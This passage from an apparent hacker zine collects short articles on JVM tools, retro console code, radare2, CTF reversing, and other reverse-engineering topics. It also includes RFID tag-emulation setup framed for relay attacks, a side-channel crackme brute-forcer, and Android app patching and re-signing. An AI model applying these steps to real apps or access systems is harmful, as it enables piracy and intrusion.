that on critical processes). Some useful flags include ​-clstats​(display stats for each class), ​-histo​(for
histogram) and ​-finalizerinfo​(to view classes which are gathered by Garbage Collector but their
finalize()​methods have not been called yet)

jstat​- samples a running JVM for selected metrics. Useful to quickly identify easy-to-spot issues but won’t
help with more ephemeral ones. Some useful flags include ​-gcutil​(for stats on GC) and
-printcompilation​(displays the last successful JIT compilation).

jcmd​- introduced in JDK 7, this tool is the ​swiss army knife of JVM diagnostic tools​ - it sends a command to
a running JVM to accomplish most of what other tools allow for and more. Launched without any commands
acts as ​jps​
. Use ​jcmd <pid> help​to view what commands are available for a given process (as they
might differ depending on what JVM version is the process running on).

jhsdb​(Java HotSpot debugger) is your go-to tool for ​post-mortem analysis​, introduced in JDK 9. If you
provide it with a core dump file and a path to the JVM that was used to launch the process ​it will let you
launch most of the aforementioned tools on a dead process​. Usage: ​jhsdb jstack|jmap|jinfo 
--core <path-to-core-dump> --exe <path-to-JVM>​ . It can also be used to debug a living
process. Remember you need to enable core dumps first (with ​ulimit​ ).

java -Xlog​gives access to ​Unified Logging of JVM messages​. Using tags, logging levels, decorators and
selectors it gives you a lot of customization options on what to log. For example, ​java -Xlog:gc+heap
will give you all the messages that have both the gc and heap tags. Some of the useful things you might want
to inspect using this tool are: safepoints with ​java -Xlog:safepoint​(safepoints in JVM are
stop-the-world events where all the threads stop in well-defined spots in order to allow JVM to perform some
house cleaning, often used by GC), Thread Local Allocation Buffers with ​-Xlog:tlab​ , JIT with
-Xlog:jit+inlining,compilation+jit​ , etc. For more information about the usage, use ​java 
-Xlog:help​ .

Java Flight Recorder​, previously a commercial tool from Oracle, is part of OpenJDK since Java 11. It has very
little overhead, needs to be enabled when starting a java process with ​java -XX:+FlightRecorder 
-XX:StartFlightRecording=duration=60s,filename=xxx​- it dumps a binary file that needs
to be viewed with Java Mission Control (which is a separate tool, not part of JDK).

Radosław Skupnik https://rskupnik.github.io/


SAA-ALL 0.0.5
37
Radio TRF7970A forgotten features for HydraNFC

TRF7970A But we should also be aware of other registers like the

forgotten features
Modulator and SYS_CLK control (0x09) that set the
type of modulation and data speed (defined in table 6-

for HydraNFC
1), as well as the Chip Status Control register (0x00) to
set transceiver mode like the interesting Direct Mode 0
(Raw RF Sub-CarrierData Stream) to encode/decode all
13.56MHz subcarrier data stream, which is perfect when
The TRF7970A is a powerful multi-protocol reading non-ISO standard compliant tags for example.
transceiver IC (Integrated Circuit) included in the
HydraNFC module, that most of its owners only use The following Python 2 code illustrates preliminary
to sniff data exchanged by a 13.56MHz NFC/RFID steps to set the transceiver in emulation mode:
tag and a reader with tools provided in HydraBUS # from bbio_hydranfc_init.py
firmware. But specifications1 show much more abilities configure_trf797a_gpio()
than people are actually aware of, as this transceiver enter_bbio()
bbio_spi_conf()
can be fully controlled in low level by an MCU (Mi- bbio_trf7970a_init()
crocontroller Unit). Moreover, makers and developers ## END
of HydraNFC/HydraBUS have documented features def sendspi(data, res_len=0x0):
to read and to emulate some types of tags using the cs_on()
# write ’n’ data, read data
provided interface of HydraBUS, and by digging in ser.write(”\x05\x00”+chr(len(data))+chr(res_len))
their documentations, we can find some examples status=ser.read(1) # Read Status
and commands to use default raw mode of this little cmd_check_status(status)
cs_off()
IC2 . This mode unleashes awesome possibilities to
sendspi(”\x83”) # power on reset
weaponize 13.56 MHz RFID attacks for specific intru- # 13.56 MHz SYS_CLK, OOK (100%) Mod type
sions, or to support various types of cards and readers. sendspi(”\x09\x31”)
sendspi(”\x01\xa4”) # set emulator mode
sendspi(”\x41”, 0x1)
To use it, a series of steps have to be performed sendspi(”\x00\x21”) # turn RF active
through HydraBUS serial interface: # 5V operation
# [other control register here]
• configure GPIOs for SPI (PA2, PA3, PC0, PC1, # [machine state to respond]
and PB11);
Sources of implemented emulators like hy-
• enter in bitbang mode; dranfc_emul_mifare.c could inspire us to implement
a tag compatible with targeted systems. Of courses, a
• switch into SPI mode and configure SPI frequency, lot of work and tests would have to be performed when
polarity and phase, and then the SPI2 speed that setting all control registers as well as the state machine
should be close to specified DATA_CLOCK at 2 to talk to the reader. Moreover, in lots of cases when
MHz as in TRF7970A datasheet; the reader is strict with the timing of responses, it is
better to implement all the emulation in the MCU part.
• turn on RF and then check if TRF7970A is alive.
The TRF7970A, as integrated in the HydraNFC, is
A Python script bbio_hydranfc_init.py3 automates already a powerful tool to sniff data, but all of its capa-
that process in HydraFW repository. Moreover, a bilities are still underused while it could be a cheaper al-
project called pynfcreader 4 has been released to talk in ternative to the Proxmark3 for many cases. In addition
low level to some NFC cards by using the HydraNFC. to emulation, cloning and tag reading (even the non-ISO
These two contributions are very helpful to understand standard), the TRF7970A can also be used for relay
how to control the transceiver through the SPI interface. attacks such as those unburied recently for payment sys-
tems6 , and other systems like passive keyless entry and
Above all, we should at least be aware of the ISO start systems7 , that do not have a strict timing restraint.
Control Register (0x01, 8 bits long), as described in
the transceiver datasheet (table 5-5)5 , to work for To finish, it is recommended to read the datasheet
example as an NFC reader → *0x01=0x88 (active of this awesome transceiver that is full of surprises and
mode, no CRC), or emulator → *0x01=0xA4 (ac- could help to create interesting tools when testing or
tive mode, card emulator mode and used protocol). attacking RFID/NFC systems.

1 http://www.ti.com/product/TRF7970A
2 https://github.com/hydrabus/hydrafw/wiki/HydraFW-

HydraNFC-v1.x-TRF7970A-Tutorial
3 https://github.com/hydrabus/hydrafw/blob/master/contrib/bbio_hydranfc/bbio_hydranfc_init.py
4 https://github.com/gvinet/pynfcreader
5 https://datasheet.octopart.com/TRF7970ARHBR-Texas- 6 https://salmg.net/[...]/intro-to-nfc-payment-relay-attacks/

Instruments-datasheet-15828043.pdf 7 http://s3.eurecom.fr/docs/ndss11_francillon.pdf

https://twitter.com/FlUxIuS Sébastien Dudek (@FlUxIuS)


SAA-ALL 0.0.5
39
Build your own controller for NES! Retro

Build your own controller for Pegasus (NES clone)!


The article covers the communication The protocol described previously is akin to
protocol between the controller and the SPI. We can use this fact to utilize the SPI
console, and a PoC implementation of a simple HW block in slave mode. MISO can be used as
controller built using ATmega8A. DATA. Similarly, SCK can be used as CLOCK. An
Pegasus features two DB9 male ports on the SPI slave needs to have SS asserted for all
front of the console to support swappable the time the transmission takes place. We can
controllers. Simplified pinout of the port can use STROBE to generate the proper SS signal on
be seen in the corresponding diagram. a GPIO pin. To be sure we do it fast enough,
we connect STROBE to INT0 (PD2) and handle the
proper ISR. As the aforementioned GPIO we’ll
use PB1 by strapping it to SS (PB2).
Crucial excerpts from the PoC implementation
can be seen below. Implementation of GPIO
macros is left as an exercise for the reader.

#include ...
static uint8_t shift_data = 0xff;
Inputs and outputs are described in regards static void shift_init(void);
to the console. Obviously, a female plug of int main(int argc, char *argv[])
the controller needs to be mirrored. {
+5V and GND are power lines. The console shift_init();
acts as a master, shifting out bits on DATA, // input with a pull-up
where „0” implies a button press. Each bit gpio_cfg_inp(BUTTON);
gets acknowledged by a tick on CLOCK. Before sei();
the start of transmission, a signal on STROBE while (1)
is sent to update the shift register with the {
current state of buttons. A transmission // handle GPIO buttons
example can be seen in the corresponding if (0 == gpio_get(BUTTON))
diagram. {

shift_data = (uint8_t) ~_BV(BTN_A);


Bits on DATA denote the following buttons, _delay_ms(200);
consecutively: A, B, Select, Start, Up, Down, shift_data = 0xff;
Left and Right. In the diagram the A button is }
pressed, any other button is released. }
Timing of the signals is not defined per se, return 0;
but you can use the following as reference: }
• positive STROBE impulse width - 4.5 us, ISR(INT0_vect) // on the rising edge of STROBE
• time distance between positive edges of {
consecutive STROBE impulses - 20 ms (50 Hz, gpio_set(FORCE_SS);
compare with the frame rate of PAL), SPDR = shift_data;
• negative CLOCK impulse width - 0.58 us, gpio_clr(FORCE_SS);
• time distance between negative edges of }
consecutive CLOCK impulses - 15.79 us, ISR(SPI_STC_vect)
• response delay - 120 ns. {
Response delay is the time after which DATA /* restore SS to high after transaction */
sets its state accordingly to STROBE or CLOCK gpio_set(FORCE_SS);
changes. The state of DATA may change on a }
positive edge of STROBE or CLOCK. static void shift_init(void)
In order to implement the protocol above we {
could buy a chip with a built-in shift gpio_cfg_inz(STROBE); // hi-Z input, PD2
register and interface it to an MCU, but it gpio_cfg_out(FORCE_SS); // output, PB1
would be no fun. Let's try to use our MCU to /* note that PB1 is strapped to SS (PB2) */
the fullest. MCUCR |= _BV(ISC01) | _BV(ISC00);
The naive approach to the challenge would GICR |= _BV(INT0);
utilize GPIO bit-banging. There is a major gpio_cfg_out(DATA); // MISO, PB4
issue with this idea as the required timing is SPCR |= _BV(SPE) | _BV(CPOL) | _BV(SPIE);
strict. CPU stress would be high enough to }
stop us from doing tasks such as USB handling.

Szymon Morawski -
CC BY 4.0
40
Retro Wobble the Nintendo logo on the Game Boy

Wobble​ the ​cp​ b


​jr​ ​nz​,​.inner_loop
​ld​ a,b
Nintendo logo on ​inc​ b
​add​ a,e

the ​Game​ ​Boy ​and​ ​$1F


​; We use the current scanline
by Felipe Alfonso - bitnenfer ; position and the LUT offset
; to calculate the index into
This is a very simple but fun effect that can be ; the LUT.
achieved in just a couple of lines of assembly. This ; idx = (scanline + lut_ofs) & 0x1F
effect is done using the same Nintendo logo that is ​ld​ l,a
left on VRAM by the boot rom. In our program we ​ld​ a,[hl]
change the horizontal and vertical scroll for each ​; scroll_x = LUT[idx]
scan line of the LCD using a lookup table. For this, ​ldh​ [​$43​],a
we only need a toolchain that outputs instructions ​ld​ a,l
for the Sharp LR35902 CPU. ​RGBDS ​add​ a,​$09
(​https://rednex.github.io/rgbds/​) will be our ​and​ ​$1F
weapon of choice. It includes an assembler, linker ​ld​ l,a
and rom header fixer. ​ld​ a,[hl]
​ wobble.asm
; ​; idx = (idx + 9) & 0x1F
section​ ​"HEADER"​, ROM0[​$0100​] ; scroll_y = LUT[idx]
​nop ​ldh​ [​$42​],a
​jp​ ​wobble_main ​ldh​ a,[​$44​]
​; The ROM header needed by ​; Finally we check if we've
; the system to validate the rom. ; reached vblank to
​db $CE,$ED,$66,$66,$CC,$0D,$00,$0B ; break the loop
db $03,$73,$00,$83,$00,$0C,$00,$0D ​cp​ ​$90
db $00,$08,$11,$1F,$88,$89,$00,$0E ​jr nz​,​.inner_loop
db $DC,$CC,$6E,$E6,$DD,$DD,$D9,$99 ​; Increment the LUT offset so
db $BB,$BB,$67,$63,$6E,$0E,$EC,$CC ; we can have motion.
db $DD,$DC,$99,$9F,$BB,$B9,$33,$3E ​inc​ e
​db​ ​"WOBBLE"​,​$00 ​jr​ ​wobble_loop
​; Entry point ​; Lookup table of simple sine wave
section​ ​"WOBBLE"​, ROM0[​$0150​] section​ ​"WOBBLE_DATA"​, ROM0[​$2000​]
wobble_main: ​db $00,$00,$01,$01,$02,$02,$02,$02
​; E is our LUT offset db $02,$02,$02,$02,$01,$01,$00,$00
​ld​ e,​$00 db $00,$00,$FF,$FF,$FE,$FE,$FE,$FE
​; Initialize H to the db $FE,$FE,$FE,$FE,$FF,$FF,$00,$00
; MSB of WOBBLE_DATA For compiling this with RBGDS we use the
​ld​ h,​$20
following commands:
wobble_loop:
​; B will be the scanline we rgbasm​ -o wobble.o wobble.asm
; want to transform rgblink​ -o wobble.gb wobble.o
​ld​ b,​$00 rgbfix​ -v -p0 wobble.gb
.inner_loop: Now that the rom is built we can run it on the BGB
​; Load the current scanline
emulator or a physical system. Sadly it won’t work
; position and compare it to B
with a Game Boy Color because that system clears
​ldh​ a,[​$44​]
the logo from VRAM after booting up.

twitter.com/bitnenfer Felipe Alfonso


CC BY 4.0
41
HOW TO: unboringly tease GoogleCTF 2019 Reverse Engineering

HOW TO: unboringly tease Google CTF 2019


HOW NOT TO: introduce into python

1 Introduction 3 Solution
Last year’s Google CTF’s Beginners Quest1 did not I just tinkered a little bit inside the binary, closed
introduce into reverse engineering very well. Unfor- the backdoor and let you peek into crucial changes
tunately there were two RE-challenges and only one being made. You should be unable to simply reverse
of them, called GATEKEPPER2 , with the potential the patch. I think it is still easy but hopefully not as
to get you in touch with a disassembler. Most video quickly solvable as last time. Perhaps you will learn
write-ups, I have seen 345 , did not take a look into the at least something new from the modified challenge.
assembly or the algorithm itself, because it was not
necessary and they caught the password almost im-
mediately. What a pity! How could this be and does
4 Task
it give a good introduction into the topic of reverse The home owners put another cake in the fridge, not
engineering? before fixing some issues and patching the software.
Thanks to our surveillance team, we just intercepted
some parts of the current patch.
2 Problem
#! /us..bin/..thon
Because the encoded password was stored within the f = open(’gatekeeper’, ’r+b’)
binary, you got your attack vector. In my opinion, the f.s.ek(0xde0)
chosen password was way too trivial and so the rever- f.wr..e(b’S..Wh..e’)
sed leetspeak phrase zLl1ks d4m t0g I“ kind of aler- f.seek(0xe01)
” f..rite(b’s..cr..E..1k..rc’)
ted everybody. Not real reversing but literally simple
reversing was involved to get to the flag. There was a ..see..0xb29)
big unused potential within this task. It was small and f.write.b.\x..’)
commonly compiled code, to easily reverse and un-
Good luck and lots of fun using your prefered disas-
derstand the algorithm, instead of guessing the right
sembler to reverse some x866 opcodes. Experienced
answer. I heavily thought about how to use this good
players must not use the given link and instead di-
potential and gave it a try patching it.
sassemble the binary stored in olly’s magical backup
1 https://github.com/google/google-ctf/tree/master/ patterns. With pen and paper only, of course! ;P. So-
2018/beginners lutions you could mailto:idandre@hotmail.de. Do
2 https://github.com/google/google-ctf/blob/master/
you feel like playing more CTFs? Let’s meet June 22
2018/beginners/re-gatekeeper/attachments/gatekeeper at Google CTF 20197 !
3 https://www.youtube.com/watch?v=bshuAGkgY3M
4 https://www.youtube.com/watch?v=qDYwcIf0LZw 6 https://github.com/idandre/gatekeeper-2.git
5 https://www.youtube.com/watch?v=WUOMnLWKFrc 7 https://g.co/ctf

ReverseiT https://youtube.com/channel/UCej7jrdKOsjTTi_GuaWFKcA
SAA-ALL 0.0.5
42
Reverse Engineering HOW TO: easily get started with radare2

HOW TO: easily get started with


HOW NOT TO: learn x86 assembly language

Basic Concepts Binary Patching


To open a file in write mode, type: The following command (p)rints a he(x)dump of size
r2 -w file 0x8 at the address appended by @.

Welcome to the r2 command line. To understand r2 :> px 0x8 @0xde0


better I will introduce some concepts first. r2 has 0xde0 306e 335f 5734 724d 0n3_W4rM
a seeker which points to the virtual memory address How to (w)rite a (z)ero terminated string at address
shown inside the square brackets. 0xde0?
[0x00000b10]> :> wz SnwWh1te @0xde0
If you need some help use the command ?. Just push [A] in visual mode to (w)rite some
(a)ssembler, or use the command line with key [:].
[0x00000b10]> ?
... | s[?] [addr] seek to address ... :> wa mov edi, 0 @0xa24
Do you need some more help with a specific command?
Just append ? to it. Debugging
[0x00000b10]> s?
For debugging a file in r2, you need to use option -d.
... | s Print current address ...
r2 -d file
Unlike most OS terminals, the command names are ex-
tremely puritanical and most of them are abbreviations To add a (d)ebug (b)reakpoint at the address sym.main
of the actions you would like to perform. So do not be plus offset 0x1a0 just type:
surprised about commands like: db sym.main+0x1a0
[0x00000b10]> wtf! aF1L3 In visual mode, you simply push [s] to move the CPU
Evil to him who evil thinks, because it just (w)rites (t)o register RIP one (d)ebug (s)tep forward. Or you can
the (f)ile aF1L3 from current address 0xb10 to the end assing a new value to the (d)ebugged (r)egister RAX:
of the mapped memory. This greatly speeds up the ds; dr rax = 0x12345678
analysis process, but on the other hand, it takes a lot
of time to learn it and even more to master.
Misc
Visual Mode There is one more thing worth mentioning. After I
started working with r2, I always opened a python con-
You can switch to visual mode with the command V and sole for calculations. At that time I did not know that
come back to the command line mode by pushing [q]. there was a much more elegant and easy way.
In visual mode, you can scroll up and down in a vim-like :> ?v 0xdead0000 + 0x0000beef
fashion with [j] and [k], as well as enter the command 0xdeadbeef
line by pushing key [:]. While moving up and down,
the seeker is updated to the very top memory address Are you tired and have enough for today? So let’s (q)uit
shown. There are five different print modes which can and take a rest. To see radare21 in action, you might be
be changed by [p] and [P]. Most of the time reversing interested in watching a more comprehensive youtube
code, I work in the third, the debugger mode. To auto- tutorial2 .
matically analyse the main function push [:], then type
the command af@main. Now push [V] to switch to the
interactive Ascii Art graph which displays a flowchart
of the analysed function. Move around with [h][j][k][l].
Zoom in with [+], zoom out with [-] and zoom to 100%
with [0]. If you would like to get some help, just push [?]
as usual. Rotate through five different modes with [p]
and [P]. To highlight text, use [/] and type in the text 1 https://www.radare.org

you want to be shown highlighted. 2 https://www.youtube.com/watch?v=hufgzz8nwNw

https://youtube.com/channel/UCej7jrdKOsjTTi_GuaWFKcA ReverseiT
SAA-ALL 0.0.5
43
Crackme Solving for the Lazies Reverse Engineering

Crackme Solving for 


instructions: simple crackmes will often bail out as
soon as possible when checking their input. For

the Lazies 
example, when naively comparing two strings, they
will stop at the first differing character. So the more
characters we’re able to guess, the more
Because nobody has time to waste on petty instructions will be executed
crackmes during CTF, here are two simple
side-channels-based tricks to quickly solve the This approach has the nice side effect (pun
boring ones: The first is for when you know what intended) of guessing the flag character by
part of the code is used to display the flag, while the character, like in the movies!
second is for things that you don’t even want to
look at. On Linux, measuring all sorts of low-level metrics
can be done via the performance counters
Coverage-guided solving infrastructure, exposed to userland via the ​perf
toolsuite. This can easily be wrapped in some
Open the binary in your favorite hex editor, which Python, as in the script below, to provide a
should of course be radare2, and patch the simple-yet-effective bruteforcer. An important
instructions that are displaying the flag with ​xor detail to consider is the ​-r parameter, controlling
eax, eax; mov eax, [eax]; essentially a NULL how many times the binary is run before taking the
pointer dereference leading to a crash. The final mean value. Without setting it to a “large” (~10)
step is to throw the modified binary at a value, other processes’ noise will likely skew our
coverage-guided fuzzer like AFL, and to wait for it to measurements.
trigger a crash: the corresponding input is usually
the ​flag​ you’re looking for. Moreover, should a given metric, like the number of
executed instructions, not yield the flag, it might be
Performance-guided solving worth trying different ones, like number of executed
branch instructions, cache-misses of various levels,
The second trick is a bit similar, but instead of trying cpu-cycles, memory-accesses, number of
to maximize the coverage to eventually find the flag, speculatively executed branches, … side channels
we’re aiming at maximizing the number of executed are everywhere, you just have to find them!

#!/usr/bin/env python3
import​ string, shlex, sys
from​ subprocess ​import​ Popen, PIPE

cmd = ​'perf stat -r 25 -x, -e instructions:u %s '​ % sys.argv[​1​]


key = ​ ''

while​ T​ rue​:
maximum = ​0​,​0
f​ or​ i i ​ n​ string.printable:
c = cmd + shlex.quote(key+i) + ​' >/dev/null'
_, stdout = Popen(c, stderr=PIPE, shell=​True​).communicate()
nb_instructions = i ​ nt​(stdout.decode(​'utf-8'​).split(​','​)[​0​])
​ f​ nb_instructions > maximum[​0​]:
i
maximum = nb_instructions, i
key += maximum[​1​]
​ rint​(key)
p

Julien Voisin dustri.org


CC BY-SA 4.0
44
Reverse Engineering Android Reverse Engineering

Android Reverse
example, you want to find the web API? Simply
search for “http”. You want to find the app
settings? Search for “SharedPreferences”. You

Engineering! want to find a special functionality? Just google


how you would implement it and then search for
Have you ever wondered why there’s so many the class. Most of the times, you won’t even need
cracked apps out there? Well, because Android to google it, because you can easily guess it.
Reversing is simple. OK, it’s not that simple, but Editing
most of the developers don’t care and thus make Once you found the variable or function you can
the job of reverse engineers easier, because they simply go to the smali1 files and patch it. To do
don’t add any protection. You can argue, that the that you need to find the path where it's stored. In
more popular the app is, the better protected it is. Java there are packages, which are the equivalent
Keep that in your mind, when picking your target. to folders. If you scroll to the top in jdgui you
First of all, you’ll need some tools, because you should find the package name. After that, simply
certainly don’t want to do everything from scratch. replace the placeholders and go to the resulting
These are the tools we will be using throughout path.
the article:
<android-app>/smali/<your-
- apktool package>/<your-class>.smali
- dex2jar
- jdgui Packing
- bytecodeviewer Reverse engineering and patching an app is cool,
but how can we actually install it?
Generating a .jar
Building the apk
Generally, the first thing you would do, is generate
To build the decompiled files, you can run this
a .jar, which is just a simple .zip file. Decompiling
command. The built apk will be located
that by hand would be hard because it contains
at <android-app>/dist.
the compiled bytecode, thus we use decompilers
like jdgui or bytecodeviewer. To generate a .jar apktool b <android-app>
you need the tool dex2jar. You can simply run this Creating a new certificate
command and it'll automatically generate it for To be able to install the apk, you need to sign it.
you. Luckily there are no certificate checks
d2j-dex2jar.bat <android-app>.apk implemented in Android, so we can simply
generate our own certificate. The program
Decompiling the apk keytool.exe is part of the JDK and is located in the
However, if you want to edit something in the apk /bin folder. I recommend adding it to your PATH
you need the tool apktool. Run this command and variable, so you don't have to write the entire path
a folder will be generated for you with all the every time.
source code and resources.
keytool.exe -genkey -keystore
d2j-dex2jar.bat -f <android-app>.apk <keystore-name>.keystore -validity
1000 -alias <alias>
Reverse Engineering
Opening the .jar Signing the apk
We won't be looking at the smali files (generated The last step is simply running this command. Then
with apktool) yet, because it's easier to look (and you can install the apk on any Android device. The
search) for stuff in jdgui or bytecodeviewer. You program jarsigner.exe is again included in the JDK.
can open it via drag and drop or the menu. jarsigner.exe -keystore <keystore-
So where do we actually start? The first thing you name>.keystore -verbose <android-
should do, is opening the search and just look for app>.apk <alias>
classes which implement interesting stuff. For
This article was originally published on not-matthias.github.io

1
Assembly Language used by Android

Github: github.com/not-matthias not-matthias


Twitter: twitter.com/not_matthias
Blog: not-matthias.github.io CC0
45
anti-RE for fun Reverse Engineering

--=[anti-RE for fun]=--  and  the  pointer  to  the  string  table  so  that  we  can  loop 
through the sections until we find the .whatever section.  
 
Elf64_Shdr * searchsec(char * section_name, void * d){ 
In this article, we will go through a couple of techniques to 
Elf64_Ehdr * elf_header = ( Elf64_Ehdr * ) d; 
guide  the reader towards a path to protect their code. One 
Elf64_Shdr * s_header=(Elf64_Shdr *)(d + elf_header->e_shoff); 
of  the  methods  is  to  obfuscate  the  code so much that an 
Elf64_Shdr * shstrtab = &s_header[elf_header->e_shstrndx]; 
attacker  gets  confused  while  trying  to  reverse  engineer 
const char * const strtabptr = d + shstrtab->sh_offset; 
the  binary.  In  order  to  correctly  obfuscate  an  ​ELF  binary,  char * name; 
we  need  to  understand how an attacker does the analysis  for (int i = 0; i < elf_header->e_shnum; i++){ 
of  a  binary.  Basically,  there  are  two  methods  of  doing  it,  name = (char*) (shstrtab + s_header[i].sh_name); 
one  is  Static  Analysis  which  is  done  without  running  the  if (strcmp(name, section_name)==0) return &s_header[i]; 
binary,  just  by  looking  at  the  disassembly  and  trying  to  } 
figure  out  what  the  binary  does.  The  other  method  is  return NULL; 
Dynamic Analysis in which an attacker runs the binary and  } 
traces  the  execution  of  the process to figure out what the  The function s
​ earchsec()​ will look like this.  
binary is doing. 
While  testing  several  crypters  we  found  out  they 
Static  analysis  can  be  made  harder  by  encrypting  all  the  implemented almost the same thing. See also: 
strings  used  inside  a  binary  and  also  loading the libraries  POCRYPT​ : ​https://github.com/picoflamingo/pocrypt 
dynamically  by  using  ​dlopen()  and  ​dlsym()  function  calls  ELFCRYPT​ : ​https://github.com/droberson/ELFcrypt 
so  that  the  attacker  cannot  guess  the functionality based 
on  the  PLT  table  and  strings  embedded inside the binary.  Dynamic  Analysis  of  a  binary  can  also be made harder by 
One  can  also  use  unnecessary jump instructions by using  making  the  control  flow  obfuscated.  A  normal  control 
goto  statements  and  then  add  some  bogus  fake  code  flow  consists  of  starting  with  the  ​main()  function,  then 
in-between  the  jump  statements  to  make the control flow  branching  out  like  a  tree  and  eventually  coming  back  to 
even  more  harder  to  digest.  Another method is to encrypt  the  m
​ ain()  function,  completing  the  execution.  We  can 
the  binary and make it decrypt itself during runtime. To do  make  this  control flow disorientating by repeatedly calling 
this  we  need  to  understand  the  ​ELF  format.  For example,  a  function  again  and  again  with  different  arguments  and 
we  have  a  l​ icense_check()  function  which  we  want  to  then  jumping  from  the  middle  of  one  function  to  some 
hide,  we  will force this function to be in a different section  other  function,  making  the  control flow insanely complex. 
than  the  usual  .text,  then  we'll  encrypt this new section. A  One  neat  trick  is  shown  by  ​Sergey  Bratus  and  ​Julian 
decrypting  function  also  needs  to be called before we run  Bangert  in  the  International  Journal  of  ​PoC  ||  GTFO  0x00 
license_check()  so  that  when  it  is actually called then the  where  they  mutated  a  binary  such  that  IDA  showed  a 
real  decrypted  code  executes.  Once  we  have  both  different  code  than  the  one  which  actually  got  executed. 
encrypting  and  decrypting  functionality then we can do all  This  was  because  the tools followed the section table but 
sorts of crazy stuff during runtime.  the  kernel  follows  the  program  header  table  which  can 
setup  a  completely  different  address  space.  This  space 
Disassembly Of license_check()  can  then  be  used  to  execute  completely  different  code. 
The  General issue  that arises with ​ELF is the difference in 
parsing  the  format,  this  is  called  a  Parser  Differential  for 
ELF  and  it  means  that  different programs parse the same 
input  slightly  differently.  When  the  kernel  loads  the  ​ELF 
binary,  it  doesn't  use  the  ​ElfX_Shdr​,  it  only  needs  the 
ElfX_Phdr  to  set  up  the  VMAs.  According  to  this,  we  can 
say  that the following ​ElfX_Ehdr'​s fields are kinda useless: 
e_shoff​,  e​ _shentsize​,  e
​ _shnum​,  ​e_shstrndx​.  So,  if  we 
remove  them  then  the  program  should  still  work  but 
debuggers will have a hard time dealing with the binary.  

#define ENC __attribute__((section(".whatever"))) While  these  techniques  sometimes  seem  too  hard  to 
ENC int license_check(char *str){/* code here */}; crack,  it’s  actually  just  a matter of time until someone will 
figure out the protections and break them.  
Now,  any  function  which  is  defined  like  above  will  be 
stored in the .whatever section. This section will only have  More info : 
AX​(alloc,execute)  flags​,  but  in  the  decrypt  function,  we 
need  to  write  the  decrypted  code  back  to  our  custom  http://phrack.org/issues/58/5.html 
section. For that, we need to change its permissions using  http://shell-storm.org/blog/Linux-process-execution-and-the-usel
mprotect()​. We need the pointer to this section. To find its  ess-ELF-header-fields/     
address  we  need  to  find  the  pointer to the list of sections 

X3eRo0 and codacker Website : https://www.abs0lut3pwn4g3.cf


Twitter : https://www.twitter.com/Abs0lut3Pwn4g3
WTFPL Linkedin : https://www.linkedin.com/company/abs0lut3pwn4g3 46
Reverse Engineering Reverse Engineering File Format From Scratch

Reverse Engineering File Format From Scratch


Ido Filus

Usually file structures are vastly documented Noticing this I quickly forgot about researching the
with open-source parsers available, but that's RIFF file and focused on building a parser for the
not always the case. In this article we will take a XML (since it looked less scary than the binary data
look at a case study of reverse engineering After in the original ​.aep​ files). Using the reference of the
Effects' project file - this will serve a dual XML format I learned how single tags, children,
purpose of demonstrating how we can attributes, arrays etc are represented. When
understand the file structure of an building the parser I just made it parse recursively
undocumented format and showing that it’s not until it hit a point it couldn't continue through. Then I
as scary as one may think. Based on the determined the problem, fixed it, and iterated - and
acquired knowledge we should be able to build a quite quickly my parser was able to finish parsing all
file parser and extract information. the nodes and data in the file.

The first thing I did was opening the file in a hex Since the parser could already understand some
editor to get a general feeling for it, and I also run project properties described as XML tags, I
the “file” tool to learn what I could about the file managed to extract the composition name ​(which is
format. kind of a layers grouping in AE)​. From there I could
work on understanding the meaning of certain tags
and the data they contain - it seemed most of the
data was found in the ​bdata​ attribute in a binary
format.

The easiest way to go about it was to start with an


empty project to minimize the amount of data (and
export it) and then add layers we know the meaning
of, and do a diff between the old and new exports.
Do note that it's also beneficial to use the same
approach for multiple ​empty​ projects to understand
In this example it was revealed to be a ​big-endian where variable data (such as timestamp/etc) is
RIFF​ file​. ​While learning more about it I also wanted stored.
to better understand how these files are used inside
AE. Since AE is a pretty huge I didn’t wanted to RE As for the binary data, we can try to parse it in
the binaries just yet and hopefully to skip that different formats such as integers, floats or/and text
overall. AE allows us to ​“Save As > Save a Copy As and see what makes the most sense. Once we
XML”​ which caught my attention, since it meant the focus on an area in the file, we should be able to
file structure can be represented in a more figure out the “effect” and “settings” of the layer it
human-readable way. It also might have helped me affects.
make heads or tails of the ASCII strings I saw in the
hex editor - note the similarities between these two We can keep researching the differences and
files - ​“swvap”, “head”​, ​“nhed”​, etc: guessing the types until we're satisfied we know
enough. It’s important to also ask yourself how
<​svap ​bdata​="072b8e06"​/> would ​you​ implement the AE format details -
<​head ​bdata​="00570001072b8e0680000000000 perhaps its authors used a similar approach.
0000100000001"​/> Eventually you can also search the program/process
<​nhed ​bdata​="0000000000000005000101001e1 memory for strings or data we can see in the
00200000004e41708720000000000fffffffe"​/> program's UI itself - it may reveal structures used
<​adfr ​bdata​="40e7700000000000"​/> nearby, such as a class instance that represents a
<​CapI​><​string​/></​CapI​> given type of data. Or even search for the ​bdata
value itself and look around its memory area to learn
more.

https://www.linkedin.com/in/ido-filus-6783b812b/ Ido Filus


SAA-TIP 0.0.5
47
Back to the BASICs Reverse Engineering

The  theme  of  Google  CTF  2018  Qualification  round  of  the  list  is  pretty simple, it's equally simple to use 
was  "history  of  hacking"  -  and  what  better  way  to  SMC  (Self-Modifying  Code)  techniques  (i.e.  POKE). 
celebrate  it  than  to  make  a  Commodore  64  For  instance,  the  program  can - at rest - consist of a 
reverse-engineering  challenge  [1]  in  pure  BASIC?  single  line  -  at  least  as  far  as  the  LIST command is 
Actually,  my  original  idea  was  to  do  a  6510  concerned.  When  executed,  this  line would change 
assembly  challenge  and  so  I  spent  a  few  of  hours  the  next  field of the next node from a NULL pointer 
watching  Michal  Taszycki's  C64  assembly  tutorial  to  a  proper  value,  thus  allowing  the  execution  to 
series  [2]  that  I  bought  some  time  ago.  A  couple  of  continue  (the  second  line  should  probably  "close 
episodes  touched  on  the  internals  of  C64  BASIC's  the  door",  i.e.  put  the  NULL  pointer  back  in  place; 
interpreter  and,  after  I  heard  about  the  way  the  this will break backward jumps though). 
program  was  stored  in-memory,  a  couple  of  ideas  Actually,  a  more  fun  way  to  tackle  the  problem  of 
sprang into my mind.  "break+LIST  disclosing  the  source  code  that  we 
So BASIC it was.  want to hide" is to make a node point back at itself - 
To  cut  to  the  chase  (and  get a bit more technical), a  again, at runtime - using SMC: 
typical BASIC program looks like this: 
10 PRINT "HI"
20 GOTO 10
And  it's  stored  in  memory  (and in .prg format) as a 
single-linked list starting at address 0x801: 

 
Running  the  LIST  command  in  such  case  yields 
interesting results: 

   
Each  list  node  consists  of  a  next  pointer  (2  bytes  And  last  but not least, being able to use SMC means 
